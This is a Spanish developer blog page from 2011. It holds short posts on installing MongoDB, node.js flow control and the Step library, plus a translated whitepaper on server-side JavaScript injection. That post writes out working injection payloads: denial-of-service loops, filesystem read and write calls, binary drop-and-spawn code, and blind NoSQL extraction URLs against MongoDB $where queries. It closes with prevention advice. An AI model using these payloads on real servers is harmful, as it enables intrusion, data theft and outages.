sábado, 31 de diciembre de 2011

Empezar con MongoDB en Mac OS X en dos minutos

1. Descargar e instalar
Instalar MongoDB en Mac OS X es tan trivial como rápido usando el gestor de paquetes Homebrew:
$ brew update
$ brew install mongodb

2. Crear directorio para los datos
Por defecto MongoDB almacenará los datos en /data/db, pero no crear el directorio, por lo que es necesario hacerlo de manera explícita:
$ sudo mkdir -p /data/db/
$ sudo chown `id -u` /data/db

3. Arrancar y conectarse al servidor
Lo primero es arrancar el servidor en un terminal:
$ mongod

Abrimos otra pestaña del terminal y arrancamos el shell de mongo, que se conecta por defecto a localhost:
$ mongo

Y probamos un par de comandos en MongoDB (guardar un documento y buscar):
> db.foo.save( { a : 1 } )
> db.foo.find()

martes, 27 de diciembre de 2011

Server-Side JavaScript Injection en node.js y NoSQL

Node.js está creciendo de manera exponencial. Su comunidad y el interés que suscita no para de crecer. Como ejemplo, se puede ver que node.js es el segundo proyecto más seguido en GitHub y poco le queda ya para ponerse el número uno.  No hay duda de que la flexibilidad y potencia de esta herramienta son su principal atractivo, pero en estas características se encuentra también el talón de Aquiles de muchas aplicaciones, puesto que pueden exponer importantes vulnerabilidades. Para ilustrar, concienciar y aprender a protegernos, he traducido (de aquella manera) este interesante whitepaper de Bryan Sullivan, del Adobe Secure Software Engineering Team.

Antecedentes: XSS
XSS es un acrónimo conocido en el entorno web. XSS significa Cross-Site Scripting, y es un mecanismo por el que se ejecuta código javascript arbitrario en un navegador que está visitando otro dominio. Esto supone una vulnerabilidad muy importante, por la que los "malos" son capaces de robar sesiones y suplantar identidades en las aplicaciones web afectadas (mediante el robo de información de cookies de sesión del navegador), pueden hacer phishing (introduciendo en el portal afectado pantallas de login que permita captura credenciales), captura de teclado, etc. Según la Open Web Application Security Project (OWASP), los ataques XSS suponen la segunda amenaza más importante en aplicaciones web (justo por debajo de inyecciones de SQL).

La vulnerabilidad es, además, demasiado común, con un porcentaje muy alto de sitios de internet que están afectados. Una de las razones de esta proliferación de la vulnerabilidad a XSS es que resulta muy sencillo introducirla accidentalmente. Pongamos el siguiente ejemplo de código que se utiliza para obtener la cotización de un valor:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if ((xhr.readyState == 4) && (xhr.status == 200)) {
    var informacionValor = eval('(' + xhr.responseText + ')');
    alert('La cotización actual de ' + informacionValor.nombre + 
            ' es $' + informacionValor.cotizacion + '€');      
    }
  }
  function realizarPeticion(ticker) {
    xhr.open("POST","servicio_cotizacion",true);
    xhr.send("{\"ticker\" : \"" + ticker + "\"}");
  }

El código parece bastante directo, pero la llamada a eval está introduciendo una vulnerabilidad potencial. Si un atacante fuese capaz de manipular la respuesta del servicio de cotización, podría inyectar código arbitrario mediante la llamada a eval, que ejecutaría el código en el contexto del navegador de la víctima. El ataque podría en ese momento extraer información de autenticación, cookies de session, manipular el dom para inducir al usuario a introducir datos, activar un keylogger, o utilizar el navegador para realizar peticiones arbitrarias al servidor del dominio como si fuese el usuario, etc.

Un nuevo vector de ataque: Server-Side Javascript Injection

Analicemos ahora un pedazo de código de javascript parecido. Está diseñado para leer peticiones JSON,  con la diferencia de que en este caso se ejecutará en el contexto de un servidor web con node.js.
var http = require('http');
http.createServer(function (request, response) {
  if (request.method === 'POST') {
   
  var data = '';
  request.addListener('data', function(chunk) { 
       data += chunk; });
   
  request.addListener('end', function() {
  var informacionValor = eval("(" + data + ")");
   recuperaCotizacionValor(informacionValor.ticker);
   …
});

La misma línea de código (ejecutar eval sobre los datos recibidos)  es la responsable de la vulnerabilidad frente a inyección de código en estas líneas y en el ejemplo de XSS. Sin embargo, en este caso los efectos son mucho más graves que la pérdida de las cookes de la víctima.

Para ilustradlo, veamos primero un mensaje legítimo, no malicioso. Podría ser como el siguiente:
{"ticker" : "SAN"}

La llamada a eval interpreta la siguiente línea:
({"ticker" : "SAN"})

Nada impide al atacante enviar su propio código javascript para que se evalúe en servidor:
response.end("success")

El código de servidor ejecutaría el comando inyectado y devolvería el texto "success" como el cuerpo de la respuesta HTTP. Sin un atacante envía esta request para probar el sistema y recibe "success" como respuesta, sabrá que el servidor puede ejecutar código javascript arbitrario, y entonces puede proceder a ataques más dañinos.

Denegación de servicio
Un ataque efectivo y sencillo de denegación de servicio se puede ejecutar simplemente enviando el comando:
while(1)

Este ataque hará que el servidor afectado use el 100% de su tiempo de procesador en procesar un bucle infinito. El servidor se colgará y será incapaz de procesar ninguna otra petición hasta que el administrador manualmente reinicie el proceso. Este ataque de DoS es tremendamente asimétrico, puesto que el atacante no tiene que ahogar al servidor con millones de peticiones; una única y diminuta petición hace todo el trabajo.

Otra alternativa de ataque DoS sería sencillamente salir o matar el proceso:
process.exit()
process.kill(process.pid)

Acceso al file system

Otro objetivo potencial de los atacantes es leer los contenidos de ficheros del sistema local. Node.js y muchas bases de natos NoSQL como CouchDB, usa la API CommonJS. El acceso al file system se soporta importando el módulo "fs" (mediante la instrucción require):
var fs = require('fs');

En cualquier momento de la ejecución se pueden agregar módulos, de manera que aunque el script originalmente no incluyese la referencia el módulo, el atacante puede agregar la funcionalidad simplemente incluyendo la instrucción require adecuada junto con el código de ataque.

Los siguientes ataques listarían los contenidos del directorio actual y superior respectivamente:
response.end(require('fs').readdirSync('.').toString())
response.end(require('fs').readdirSync('..').toString())

A partir de aquí, es bastante sencillo reconstruir la estructura completa del sistema de ficheros. Para acceder a los contenidos de un fichero sería tan sencillo como:
response.end(require('fs').readFileSync(filename))

La cosa resulta más grave, puesto que el atacante no solo puede leer los contenidos de los ficheros sino que puede escribir también. El siguiente ataque inserta la cadena "//hackeado!" al principio del fichero actualmente ejecutado (lógicamente, se pueden realizar cosas peores).
var fs = require('fs');
var ficheroActual = process.argv[1];
fs.writeFileSync(ficheroActual, '//hackeado!\n' + fs.readFileSync(ficheroActual));


Por último, señalaré que es posible crear ficheros arbitrarios en el servidor objetivo, incluidos ficheros ejecutables:
require('fs').writeFileSync(nombrefichero,data,'base64');

donde nombrefichero es el nombre del fichero resultante (por ejemplo, "foo.exe") y data sería el contenido del fichero codificado en base-64. El atacante ya solo necesitará ejecutar este fichero, como ilustraré a continuación.

Ejecución de ficheros binarios

Una vez que el atacante puede escribir ficheros binarios en el servidor, necesita ejecutarlos. Una inyección de javascript como la siguiente ilustra como puede hacerlo:
require('child_process').spawn(nombrefichero);

A partir de este punto, los límites del atacante están en su imaginación.

Inyección NoSQL
Las vulnerabilidades de inyección de código javascript no están limitadas solo a llamadas de eval dentro de scripts de node.js. Los motores de bases de datos NoSQL que procesen código javascript  también pueden ser vulnerables. Por ejemplo, MongoDB soporta el uso de funciones de javascript en las query y en operaciones de map/reduce. Puesto que las bases de datos MongoDB (igual que otras NoSQL) no tienen definidos esquemas estrictos, los desarrolladores pueden utilizar código javascript para realizar querys arbitrariamente complejas que consulten estructuras de documentos dispares.

Por ejemplo, supongamos que tenemos una collección de MongoDB que contiene documentos que representan libros, otros que representan peliculas y otros que representan libros. Esta query en javascript seleccionará todos los documentos de cada una de las colecciones que fuesen escritos, rodados o grabados en el año especificado:

function() {
  var anio_busqueda = input_value;

  return this.anioPublicacion == anio_busqueda||
         this.anioRodaje == anio_busqueda||
         this.anioGrabacion == anio_busqueda;
}

Si la aplicación estuviese programada en PHP el código fuente podría parecerse al siguiente:

$query = 'function() { '.
         '  var search_year = \'' . $_GET['anio'] . '\';' .
         '  return this.anioPublicacion == anio_busqueda || ' .
         '         this.anioRodaje == search_year || ' .
         '         this.anioGrabacion == search_year; ' . 
         '}';

$cursor = $collection->find(array('$where' => $query));

Este código utiliza el parámetro "anio" de la petición como el parámetro de búsqueda. Al igual que en la vulnerabilidad tradicional de inyección de SQL, cuando la query se realiza de manera ad-hoc, es decir, concatenando la query directamente con el input del usuario, el código es vulnerable a un ataque de inyección de código de javascript en servidor. Este ejemplo sería un ataque bastante efectivo de denegación de servicio DoS contra el sistema
http://server/app.php?anio=1995';while(1);var%20foo='bar

Inyección NoSQL ciega
Otro posible vector de ataque cuando se utilizan inyecciones SSJS contra bases de datos NoSQL es el uso de injecciones ciegas NoSQL para extraer los contenidos la base de datos. Para demostrar como funciona este ataque continuaré con el ejemplo de MongoDB utilizado anteriormente.

Para ejecutar un ataque de inyección ciego, el ataque necesita determinar la diferencia entre una condición verdadera y otra falsa en el servidor. Esto es trivial con una inyección SSJS, más incluso que con la clásica inyección sql “OR 1=1” :
http://server/app.php?anio=1995';return(true);var%20foo='bar
http://server/app.php?anio=1995';return(false);var%20foo='bar

Si existe alguna diferencia entre las respuestas de estas dos inyecciones, entonces el atacante solo necesita realizar preguntas del tipo cierto/falso, y con un número suficiente de preguntas será capaz de extraer todos los contenidos de la base de datos. Veámoslo.

La primera pregunta que hay que responder es cuantas colecciones existen en la base de datos, o más preciesamente, si hay exactamente una colección en la base de datos, o si hay exactamente dos colecciones, etc:
return(db.getCollectionNames().length == 1);
return(db.getCollectionNames().length == 2);
…

Una vez que el atacante ha establecido cuantas colecciones existen, el siguiente paso será obtener sus nombres. Se chequeará cada nombre de colección en el array, primero para determinar la longitud del nombre y después para el nombre mismo, probando un carácter cada vez:
return(db.getCollectionNames()[0].length == 1);
return(db.getCollectionNames()[0].length == 2);
…
return(db.getCollectionNames()[0][0] == 'a');
return(db.getCollectionNames()[0][0] == 'b');

Una vez que se han extraido los nombres de las colecciones, el siguiente paso consiste en recuperar la colección de datos. De nuevo, lo primero que el atacante necesita hacer es determinar cuantos documentos hay en cada colección. Si el nombre de la primera colección fuese "foo":
return(db.foo.find().length == 1);
return(db.foo.find().length == 2);
…

En un ataque SQL ciego tradicional, el siguiente paso sería determinar la estructura de columnas de cada tabla. Sin embargo, este concepto de de estructura de columnas no tiene sentido en documentos NoSQL, que carecen de un esquema común. Cada documento en una colección puede tener una estructura distinta del resto de documentos. Sin embargo, este hecho no impide la extraccción de los contenidos de la base de datos. El atacante simplemente llamaría al método "tojsononeline" (http://api.mongodb.org/js/1.5.3/symbols/_global_.html#tojsononeline)  para devolver el documento como un string de JSON, calcular su longitud  y extraer un carácter cada vez:
return(tojsononeline(db.foo.find()[0]).length == 1);
return(tojsononeline(db.foo.find()[0]).length == 2);
…
return(tojsononeline(db.foo.find()[0])[0] == 'a');
return(tojsononeline(db.foo.find()[0])[0] == 'b');
…

Al final, con este método se recuperarían todos los contenidos de cada documento de cada colección en la base de datos.

Conclusiones y prevención
En los ejemplos anteriores, se ha visto que la vulnerabilidad de inyección de javascript en servidor se parece más a las técnicas tradicionales de inyección de SQL que a las de cross-site scripting. Las inyecciones de SSJS no necesitan de la ingeniería social de una víctima intermedia de la forma que se hace habitualmente con XSS, sino que el ataque se realiza directamente con peticiones HTTP arbitrarias. Por este motivo los mecanismos de defensa son similares de los de inyecciones de SQL:
  • Evitar generar comandos de javascript "ad-hoc" mediante la concatencación de script con datos de proporcionados por el usuario.
  • Validar los datos del usuario en comandos SSJS con expresiones regulares.
  • Evitar el uso del comando eval. En particular, al parsear JSON, usar alternativas mucho más seguras como JSON.parse.

miércoles, 21 de diciembre de 2011

Step. Una librería de control de flujos de node.js

Una vez que he presentado algunos mecanismos para evitar el infierno de callbacks en node.js, vamos a ver una librería de control de flujos. Se trata de Step (https://github.com/creationix/step, npm:step), una librería de Tim Caswell para el control de flujos en node.js. Step permite gestionar ejecuciones en paralelo y en serie y ayuda en la gestión de errores.

Uso de Step

Para una ejecución en serie, hay que pasar this como el argumento de callback de la función asíncrona o bien devolver un valor si se trata de un código sincrono. El siguiente ejemplo de un código que se lee a sí mismo y se saca por consola en mayúsculas ilustra lo que quiero decir:

Step(
  function meLeo(){
    //Lee el codigo fuente de este fichero
    fs.readFile(__filename, this);
  },
  function pasarAMayusculas(err, text){
    //Ejemplo de código síncrono
    if(err) throw err;
    return text.toUpperCase();
  },
  function mostrar(err, texto){
    if(err) throw err;
    console.log(texto);
  }
)

Siguiendo el estándar de node.js (la convención que mencioné en el artículo anterior), los callbacks tienen siempre como primer argumento el error. Además, si no se definen callbacks en línea, sino que se le pasan en serie a Step, tenemos garantizada la captura de todas las excepciones, con la seguridad que ello conlleva.

El ejemplo anterior realiza tareas en serie. Realizar tareas en paralelo es igual de sencillo:
Step(
    //Cargar dos ficheros en paralelo
    function cargarFicheros(){
      fs.readFile(__filename, this.parallel());
      fs.readFile("/etc/passwd", this.parallel());
    },
    function mostrarContenido(err, codigo, usuarios){
      if(err) throw err;
      console.log(codigo);
      console.log(usuarios);
    }
)

Al usar this.parallel(), Step llevará, de manera transparente, la cuenta del número y orden de los callbacks. Al terminar la ejecución en paralelo, pasará al siguiente callback como parámetros los resultados de las tareas paralelizadas, ajustadas al orden en que fueron invocadas estas tareas.

Estructura de Step
Vamos a revisar como está estructurada esta librería para buscar elementos reseñables.

Step viene con un README detallado, un fichero package.json, un único fichero para la librería principal, y los tests separados en diferentes ficheros que abordan cada uno una característica principal de la libreria.

El soporte del módulo CommonJS  es condicional, lo que permite usar esta librería fuera de Node (por ejemplo, en un navegador):
// Hook into commonJS module systems
if (typeof module !== 'undefined' && "exports" in module) {
  module.exports = Step;
}

La estructura base de la principal función de Step es muy fácil de seguir:
function Step() {
  var steps = Array.prototype.slice.call(arguments),
      pending, counter, results, lock;

  // Define the main callback that's given as `this` to the steps.
  function next() {
    // ...
  }

  // Add a special callback generator `this.parallel()` that groups stuff.
  next.parallel = function () {
    // ...
  };

  // Generates a callback generator for grouped results
  next.group = function () {
    // ...
  };

  // Start the engine an pass nothing to the first step.
  next();
}

La función next se invoca al final de Step y es lo que arranca la ejecución. Esta función también tiene los métodos parallel y group a los que se puede acceder desde el this en los callbacks.

Gestión de la ejecución
El núcleo de la librería es la función next. Veamos cada una de sus partes principales.

Los contadores y los valores de retorno se usan para determinar que hay que ejecutar a continuación. El contador se usa en parallel y group. Estos valores se establecen cuando se llama a next:
  // Define the main callback that's given as `this` to the steps.
  function next() {
    counter = pending = 0;

El array de funciones pasados a Step se ejecutan en orden invocando shift en el array. Si no hay más pasos, si hay errores no gestionados se lanzan y si no la ejecución se completa:
    // Check if there are no steps left
    if (steps.length === 0) {
      // Throw uncaught errors
      if (arguments[0]) {
        throw arguments[0];
      }
      return;
    }

    // Get the next step to execute
    var fn = steps.shift();
    results = [];


Cada "step" se invoca utilizando apply de manera que el this en la función suministrada sea "next":
  // Run the step in a try..catch block so exceptions don't get out of hand.
    try {
      lock = true;
      var result = fn.apply(next, arguments);
    } catch (e) {
      // Pass any exceptions on through the next callback
      next(e);
    }

Los errores se capturan y se pasan al siguiente paso. La variable lock se usa por la funcionalidad de paralelización de tareas y agrupación de resultados. El valor devuelto de la función del paso se guarda. A continuación, el valor devuelto se utiliza para determinar si se ha utilizado una función síncrona y en caso afirmativo se invoca next de nuevo con el resultado:
    if (result !== undefined) {
    if (counter > 0 && pending == 0) {
      // If parallel() was called, and all parallel branches executed
      // syncronously, go on to the next step immediately.
      next.apply(null, results);
    } else if (result !== undefined) {
      // If a syncronous return is used, pass it to the callback
      next(undefined, result);
    }
    lock = false;

Ejecución paralela
El método parallel devuelve una función que recubre los callback para mantener los contadores y ejecutar el siguiente paso. El valor de la variable index queda fijada en cada llamada a parallel() y se utiliza para almacenar los valores devueltos por la funciones que se ejecutan en paralelo en las posición correcta:
// Add a special callback generator `this.parallel()` that groups stuff.
  next.parallel = function () {
    var index = 1 + counter++;
    pending++;

    return function () {
      pending--;
      // Compress the error from any result to the first argument
      if (arguments[0]) {
        results[0] = arguments[0];
      }
      // Send the other results as arguments
      results[index] = arguments[1];
      if (!lock && pending === 0) {
        // When all parallel branches done, call the callback
        next.apply(null, results);
      }
    };

Step.fn
La función Step.fn (sin documentar) crea factorías de función a partir de las llamadas a step. Se usa de esta forma:
var myfn = Step.fn(
  function (name) {
    fs.readFile(name, 'utf8', this);
  },
  function capitalize(err, text) {
    if (err) throw err;
    return text.toUpperCase();
  }
);

var selfText = fs.readFileSync(__filename, 'utf8');

expect('result');
myfn(__filename, function (err, result) {
  fulfill('result');
  if (err) throw err;
  assert.equal(selfText.toUpperCase(), result, "It should work");
});

Si el último argumento utilizado al llamar al conjunto de pasos agrupados en myfn es una función, esta se ejecutará como el último paso.

Últimas notas
Step lleva circulando ya un tiempo y Tim a estado trabajando activamente en ella. Es una librería pequeña que resuelve un problema habitual de control de flujos asíncronos. Según el registro de NPM, unas 45 librerías dependen de Step, y esto es sin duda un buen indicador de la popularidad de esta librería.

martes, 20 de diciembre de 2011

Evitando el infierno de los callbacks en node.js

El año pasado Isaac Schlueter (@izs) publicó en la Oakland Javascript Meetup una interesante presentación (http://joyeur.files.wordpress.com/2010/10/40366684-nodejs-controlling-flow.pdf) sobre el control de flujos en javascript (tanto valdría para servidor como para cliente). Este post está basada en dicha presentación


Hoy vamos a centrarnos en una característica tan potente como, en muchas ocasiones, problemática característica de node.js: la asincronía y como gestionarla  correctamente.

En javascript estamos muy acostumbrados a utilizar EventEmitters para controlar flujos de manera asíncrona. Responder a eventos es un problema ya resuelto (al menos para los "javascripters"). El algo muy similar al manejo de eventos de DOM que llevamos haciendo tantos años, por lo que realmente trasladar esto a javascript de servidor no tiene ningún misterio. Este patrón se puede resumir en  algo.on("evento", hazAlgo).

Un ejemplo, con Socket.IO se utiliza sería:
var io = require('socket.io').listen(80);

io.sockets.on('connection', function (socket) {
  socket.emit('news', { hello: 'world' });
  socket.on('my other event', function (data) {
    console.log(data);
  });
});

Otro mecanismo muy habitual en node.js y también en muchas librerías que se pueden utilizar en clientes es el de los callbacks. De hecho, las quejas más habituales sobre node.js son sobre este aspecto:
Programar en node.js es acabar con un feísimo código anidado e intentado hasta el infinito y más allá solo para conseguir abrir un fichero....
La cosa parece incluso peor: aunque muchos de los objetos de node.js son EvventEmitters (como http server/client), la mayoría de las funciones de bajo nivel necesitan callbacks (DNS, posix API, etc.) . Parece que ir más allá de un "hola mundo" la cosa se vuelve muy complicada.

Pero analicemos un momento por qué resulta en realidad difícil. Llegaremos este pequeño shortlist:
  • Realizar un puñado de tareas en un orden específico
  • Saber cuando se han terminado las tareas
  • Gestionar los fallos
  • Dividir la funcionalidad en partes (para evitar los callbacks anidados indefinidamente). 
Estas tareas se suelen ver salpicadas por un conjunto de errores habituales. A saber:
  • Abandonar las convenciones y la consistencia
  • Poner todos los callbacks anidados en línea
  • Usar librerías de terceros sin comprender adecuadamente lo que pasa por debajo (y con los microframeworks esto no suele ser difícil)
  • Intentar que el código asíncrono parezca asíncrono (aunque aquí podríamos argüir que las promesas son un método legítimo para conseguirlo).

Por lo tanto, para conseguir un control del flujo de javascript con tareas asíncronas, lo mejor es utilizar una librería que resuelva de manera sencilla todas estas dificultades y que a la vez que imponga una convención que prevenga los errores.

Existen tropecientos mil librerías distintas de control de flujo y cada autor cree que la suya es la mejor. Por lo elección de la librería es obvia: vamos a escribir una :)

La vamos a escribir con el objetivo de aprender, manteniendo un nivel de complejidad bajo y evitando los elementos "automágicos". No se trata, por tanto, de escribir la librería de control de flujos ideal.

Convenciones

Vamos a empezar estableciendo unas convenciones (ya sabes, el primer error de la lista fue abandonarlas).

Definamos dos tipos de funciones:

  • Actores: realizan acciones o tareas.
  • Callbacks: reciben los resultados de las acciones.
En esencia, lo que vamos a utilizar aquí es el patrón de continuación. Resulta muy parecido a las fibras, pero siendo más sencillo de implementar.  Además, ya que nodejs funciona de esta manera con las APIs de bajo nivel, resulta muy flexible en este contexto.

Callbacks

  • Hemos dicho que los callbacks reciben los resultados de las acciones. Son simples respondedores.
  • Deben estar siempre preparados para gestionar los errores. Por siempre, quiero decir SIEMPRE, sin excepción alguna. Para asegurarnos de que esto ocurre, por convención siempre se pasará el error como primer argumento.
  • En muchas ocasiones serán funciones anónimas en línea, pero no siempre lo serán.
  • Puede o bien gestionar el error y llamar a otros callbacks modificando los datos, o pasar directamente el error hacia arriba.
Actores

  • Son funciones que hacen las tareas. Su último argumento será el callback (cb) que invocar al terminar.
  • Si ocurre algún error que el actor no sepa gestionar, se lo pasa al callback y termina su ejecución.
  • No debe utilizar "throw" y el valor de retorno se ignora (para el ejemplo esto será cierto, sin embargo, existen librerías que utilizan el valor de retorno para discriminar entre ejecuciones síncronas y asíncronas)
  • Es decir, un "return x" se convertiría en "return cb(null, x);"
  • Y un "throw er" pasaría a ser "return cb(er)"

Es decir, un actor seguiría más o menos estas líneas maestras:

function actor (some, args, cb) {
  // el último argumento es el callback
  // con este mecanismo podemos
  // tener argumentos opcionales
  if (!cb &&
      typeof(args) === "function")
    cb = args, args = []
 
  // hace algo y a continuación:
  
  if (failed)  cb(new Error("failed!"))
  else cb(null, optionalData)
}

Pongamos un caso de uso concreto: un actor que nos diga si una ruta dada se corresponde con un directorio o un symlink (windows users: no confundir con accesos directos ;), http://en.wikipedia.org/wiki/NTFS_symbolic_link):

// devuelve true si el path es un symlink 
// o un directorio.

function isLinkOrDir (path, cb) {
  fs.lstat(path, function (er, s) {
    if (er) 
      return cb(er);
    var linkOrDir = s.isDirectory() || s.isSymbolicLink();
    return cb(null, linkOrDir);
  })
}

Detengámonos un ratito en las líneas anteriores:

Vemos que lo primero es el tratamiento de errores:
    if (er) 
      return cb(er);

Y si el resultado es satisfactorio, entonces se invoca el callback con null en el error y pasando el resultado en el siguiente parámetro:
    return cb(null, linkOrDir);

Una vez disponemos de un actor disponible, veamos como podemos realizar una composición de actores:
// devuelve true si el path es un symlink,
// un directorio y tambien termina en .bak

function isLinkDirBak (path, cb) {
   return isLinkOrDir(path,
     function (er, ld) {
       return cb(er, ld &&
         path.substr(-4) === ".bak")
}) }

En primer lugar se llama al primer actor con
   return isLinkOrDir(path,

Como callback, definimos una función en línea que incluye la lógica propia y exclusiva y que callback cb original
       return cb(er, ld &&
         path.substr(-4) === ".bak")

Y de momento aquí nos quedamos con los actores. Ahora un poco de chícha asíncrona.

asyncMap

Vamos a poner un ejemplo un poco complicado de tareas a realizar de forma asíncrona. Por ejemplo, queremos poder hacer cualquiera de estas tareas:

  • Tenemos una lista de 10 ficheros y necesitamos leer todos ellos y continuar una vez que se haya terminado la lectura.
  • Tenemos una docena de URLs y tenemos que leerlas todas y continuar cuando todas se hayan leido.
  • Tenemos 4 usuarios conectados y tenemos que enviar un mensaje a todos y cada uno ellos y continuar cuando se hayan completado las comunicación de todos los mensajes.


Es decir, todos los ejemplos anteriores encajan en el siguiente patrón:
Tengo una lista de "n" cosas y necesito "hacerAlgo" con cada una de dichas cosas, en paralelo,  y recuperar los resultados cuando se haya completado.
El código que nos permite resolver este requisito podría ser lo siguiente:
function asyncMap (list, fn, cb_) {
  var n = list.length
    , results = []
    , errState = null;
  function cb (er, data) {
    if (errState) 
      return;
    if (er) 
      return cb_(errState = er);
    results.push(data);
    if (-- n === 0)
      return cb_(null, results);
  }
  list.forEach(function (l) {
    fn(l, cb) 
  })
}


Como diría Jack el Destripador: vayamos por partes.

En primer lugar, se almacena el tamaño de la lista y se definen las variables que almacenarán el resultado y el error en caso de que ocurra.
function asyncMap (list, fn, cb_) {
  var n = list.length
    , results = []
    , errState = null;

A continuación, se define el callback interno que se utiliza tras invocar la función recibida fn para cada elemento de la lista. Realiza las siguientes tareas para cada elemento:

  1. Si hay algún error anterior no hace nada, sale de la función.
  2. Si se ha producido un error en la ejecución de la función, lo almacena y sale.
  3. Guarda el resultado.
  4. Si ha terminado invoca el callback original.
  function cb (er, data) {
    if (errState) 
      return;
    if (er) 
      return cb(errState = er);
    results.push(data);
    if (-- n === 0)
      return cb_(null, results);
  }

Y por último se invoca la función para cada elemento:
  list.forEach(function (l) {
    fn(l, cb) 
  })

Un ejemplo de uso de asyncMap creando una función que escriba en varios ficheros un contenido dado podría ser el siguiente:

function escribirFicheros (rutasFicheros, contenido, cb) {
  asyncMap( 
    rutasFicheros
    , function (rutaFichero, cb2) {
         fs.writeFile(rutaFichero, contenido, cb2);
      }
    , cb
  );
}
escribirFicheros([mi,lista,de,rutas,de,ficheros], "¡Hola, mundo!", cb);

En este ejemplo asyncMap es una función Actor, recibiendo el callback como último parámetro. Se puede incluso invocar asyncMap desde otro asyncMap.

Esta implementación está bien si no importa el orden de ejecución, pues se están lanzando todas las funciones del tirón. Pero, ¿cómo hacer si el órden de ejecución es importante?

Es decir, los resultados se están agregando al array de resultados según llegan, pero si ¿cómo hacer para que el array de respuesta tenga los resultados con el mismo índice que cada uno de los valores de entrada, manteniendo la correspondencia uno a uno?


function asyncMap (list, fn, cb_) {
  var n = list.length
    , results = []
    , errState = null;
  function cbGen (i) {
    return function cb (er, data) {
      if (errState) return
      if (er) 
        return cb(errState = er)
      results[i] = data
      if (-- n === 0)
        return cb_(null, results)
    }
  }
  list.forEach(function (l, i) {
    fn(l, cbGen(i))
  })
}

Al iterar sobre los elementos, hemos agregado el indice de iteración i, e invocamos a una nueva función cbGen
 list.forEach(function (l, i) {
    fn(l, cbGen(i))
  })

La nueva función cbGen prepara una función callback cb con el índice i fijado, de manera que cuando cb sea invocada almacenará el resultado en la posición correcta 
  function cbGen (i) {
    return function cb (er, data) {
      if (errState) return
      if (er) 
        return cb(errState = er)
      results[i] = data
      if (-- n === 0)
        return cb_(null, results)
    }
  }

Cadenas
Otro caso de uso es realizar tareas en cadena, en un cierto orden preestablecido.

Como ejemplo podría ser esta secuencia: leer las credenciales de un fichero, leer datos de una base de datos, escribir los datos en un fichero. Si algo  falla, no se continúa.

El código que resolvería esto podría ser: 
function chain(things, cb) {
  var len = things.length;
  (function LOOP (i) {
    if (i >= len) 
       return cb();
    things[i](function (er) {
      if (er) 
        return cb(er);
      LOOP(i + 1);
    })
  })(0)
}

Y ahora paso a paso:

En primer lugar, definimos la función que invocará iterativamente cada una de las cosas a realizar. La invocamos empezando con el índice 0 y nos guardamos la longitud de cosas a hacer:
function chain(things, cb) {
  var len = things.length;
  (function LOOP (i) {
     //...
  })(0)
}

A continuación, dentro de LOOP, lo primero será controlar que no se ha producido un error.
    if (i >= len) 
       return cb();

Después, invocamos la cosa que toque hacer (things[]), pasando un callback para poder continuar con lo siguiente:
    things[i](function (er) {
      if (er) 
        return cb(er);
      LOOP(i + 1);
    })

Sin embargo, el código anterior tiene unos pocos "peros". A saber:
  • Hay que proporcionar un array de funciones, que implica mucho trabajo y resulta tedioso si las funciones deben recibir parámetros: "function (cb){blah(a,b,c,cb)}"
  • Los resultados se desechan lo cual es una pena. 
  • No se pueden hacer ramas en la ejecución
Para realizar las tareas tediosas vamos a preparar unos métodos que nos simplifiquen la vida:

  • convertir un array de  [fn, args] en un actor que no reciba argumentos excepto cb.
  • parecido a  Function#bind pero ajustado a nuestras necesidades concretas
  • presentará las siguientes casos de uso:
    • bindActor(obj, "method", a, b, c) 
    • bindActor(fn, a, b, c) 
    • bindActor(obj, fn, a, b, c)
Como hemos hecho anteriormente, primero el código completo:

function bindActor () {
  var args = Array.prototype.slice.call(arguments) 
    , obj = null
    , fn;
  if (typeof args[0] === "object") {
    obj = args.shift();
    fn = args.shift();
    if (typeof fn === "string")
      fn = obj[ fn ]
  } 
  else 
    fn = args.shift();
  return function (cb) {
    fn.apply(obj, args.concat(cb)); 
  }
}

Analicemos las distintas partes: si el primer argumento resulta ser un objeto, almacenamos la referencia. Si el argumento de función es una cadena, se busca el método en el objeto recibido:
  if (typeof args[0] === "object") {
    obj = args.shift();
    fn = args.shift();
    if (typeof fn === "string")
      fn = obj[ fn ]
  } 


En caso contrario, recuperamos la función
  else 
    fn = args.shift();

A continuación, se devuelve una función anónima que ejecutará la función fn con apply, estableciendo el contexto this de fn al objeto pasado (si existe) y concatenando el callback al final de los argumentos.
  return function (cb) {
    fn.apply(obj, args.concat(cb)); 
  }

Una vez que hemos definido este bindActor volvamos de nuevo sobre el método chain que ejecutaba "cosas" en cadena:
function chain (things, cb) {
  var len = things.length;
  (function LOOP (i) {
    if(i >= len) 
      return cb();
    if(Array.isArray(things[i]))
      things[i] = bindActor.apply(null, things[i]);
    things[i](function (er) {
      if (er) 
        return cb(er);
      LOOP(i + 1)
    })
  })(0)
}

Ahora evaluamos cada "cosa" recibida. Si esa cosa es un array, utilizaremos el recien creado bindActor para sustituir en el array ese array por una función con el contexto y argumentos definido en el array. El array son los argumentos que se pasaran a bindActor:
    if(Array.isArray(things[i]))
      things[i] = bindActor.apply(null, things[i]);

Creando ramas. Lo primero que necesitamos es la posibilidad de anular ramas, para lo que se utilizan argumentos que si son false no ejecutan el elemento:
chain([ hazAlgo && [algo,a,b,c]
       , isFoo && [doFoo, "foo"]
       , subCadena &&
         [chain, [one, two]]
       ], cb)

Para eso introducimos:
  if(!things[i])
    return LOOP(i + 1, len)

dentro de chain
function chain (things, cb) {
  var len = things.length;
  (function LOOP (i) {
    if (i >= len) 
      return cb();
    if (Array.isArray(things[i]))
      things[i] = bindActor.apply(null, things[i]);
    if (!things[i])
      return LOOP(i + 1);
    things[i](function (er) {
      if (er) 
        return cb(er);
      LOOP(i + 1)
    })
  })(0)
}

Ahora vamos a conservar los resultados de la cadena:

  • Vamos a proporcionar un array para almacenar los resultados  
  • El último resultado estará siempre disponible en results[results.length - 1] 
  • Vamos a utilizar chain.first y chain.last como contenedores para referenciar el primer y último resultado hasta un punto dado.
function chain (things, res, cb) {
  if (!cb) cb = res , res = [];
  (function LOOP (i,len) {
    if (i >= len) 
      return cb(null,res)
    if (Array.isArray(things[i]))
      things[i] = bindActor.apply(null,
        things[i].map(function(i){
          return (i===chain.first) ? res[0]
           : (i===chain.last)
             ? res[res.length - 1] : i 
          }
        )
      )
    if (!things[i]) 
      return LOOP(i + 1)
    things[i](function (er, data) {
      res.push(er || data);
      if (er) 
        return cb(er, res);
      LOOP(i + 1)
    });
  })(0, things.length) 
}
chain.first = {};
chain.last = {};


Lo primero es controlar si pasan o no por argumentos el array que almacenará los resultados:
function chain (things, res, cb) {
  if (!cb) cb = res , res = [];

